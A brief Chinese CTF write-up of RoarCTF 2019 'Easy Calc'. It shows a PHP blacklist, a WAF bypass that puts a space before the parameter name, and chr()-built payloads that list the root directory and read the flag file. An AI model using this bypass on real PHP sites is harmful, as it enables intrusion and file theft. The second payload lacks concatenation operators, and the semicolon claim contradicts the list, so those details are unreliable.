RoarCTF 2019 Easy Calc

0x00
题目类型:php,RCE。
知识点:php对变量空格的解析。
0x01
查看源码,提醒有WAF保护,不过我们不知道规则。发现calc.php,对传入的num参数做了如下限制。

$str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } }

0x02
首先我们需要绕过WAF,注意WAF和黑名单不是一个东西。传入一个名为" num"的参数,WAF会认为他是" num"而不是"num",但在解析变量时,空格会被去除,参数会被认为是"num",这样就可以构造非法命令了。
黑名单里过滤了引号和分号,无法直接调用函数,可以用chr()函数将ascii编码转换为字符,这样就可以绕过黑名单的检测命令执行。
【RoarCTF 2019 Easy Calc】0x03
payload:
var_dump(scandir(chr(47))) var_dump(file_get_contents(chr(47)chr(102)chr(49)chr(97)chr(103)chr(103)))


    推荐阅读